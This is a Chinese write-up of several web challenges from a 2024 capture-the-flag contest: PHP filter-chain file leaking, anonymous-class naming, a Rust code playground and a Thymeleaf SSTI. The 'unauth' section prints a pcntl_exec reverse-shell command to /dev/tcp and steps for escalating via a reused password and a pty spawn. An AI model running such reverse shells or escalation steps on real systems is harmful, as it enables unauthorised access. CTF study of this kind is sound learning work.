2024红明谷 web部分wp
WEB
ezphezph
考点:
- php侧信道攻击
参考文章:https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle
项目地址:https://github.com/synacktiv/php_filter_chains_oracle_exploit
sb的是不同环境下可能爆不出来 看脸
题目环境下爆破出来源码
并且根据题目介绍说是php8.3.2
1 | <?php |
这里涉及到匿名类的名称知识点
我们需要获取到它的匿名类名称
1 | $obj=new class{}; |
自己本地开个环境然后用get_class函数获取一下类名即可 不过这里需要开环境一次打通 不然后面的列数需要爆破一下 然后编码打入即可
1 | class%40anonymous%00%2Fvar%2Fwww%2Fhtml%2Fflag.php%3A7%240 |
或者像大头师傅一样直接去看php官网的changelog(学到了
参考:
https://hi-arkin.com/archives/php-anonymous-stdClass.html
https://www.php.net/manual/zh/language.oop5.anonymous.php
https://www.php.net/ChangeLog-8.php#8.3.4
unauth
可惜了 最后差点就出了 没get到。。
admin/2e525e29e465f45d8d7c56319fe73036
登录进入
flag在根目录下,可能无权限直接读取。environ也读不到
网站目录下存在config.inc.php
1 | <?php |
highlight_file没有被ban 看看配置文件 查看一下disable_function
1 | # highlight_file("/usr/local/etc/php/php.ini"); |
还有pcntl_exec()没有被ban 这种命令执行方式学到了
1 | pcntl_exec("/bin/bash",array("-c","bash -i >& /dev/tcp/ip/port 0>&1"),array()); |
进入之后需要提权
su提权 之前那个config.inc.php文件里面的数据库账户的密码竟然是admin的密码(。。。是真难绷
需要用python虚拟化一个终端出来 来自:https://www.freebuf.com/articles/system/362070.html
1 | python -c '__import__("pty").spawn("/bin/bash")' |
之后su即可
playground
rust代码
1 | #[post("/rust_code", data = "<code>")] |
方式一
/rust_code
传入的date都会被编译根据大头师傅wp是编译报错包含读flag
1 | POST /rust_code HTTP/1.1 |
咱也不懂rust
方式二
vn的ph0师傅做的
rust无std库读文件
rust调用C库就能执行c语言代码了,调system即可
1 | extern "C"{ |
不是很懂rust
这里还有一篇师傅的wp也挺细的:https://blog.csdn.net/uuzeray/article/details/137348209
Simp1escape
说是302跳转结合Thymeleaf SSTI
结尾
和高数对线之余空出时间和VN师傅一起做的,很不错的一次体验,很喜欢这种一起做题的感觉!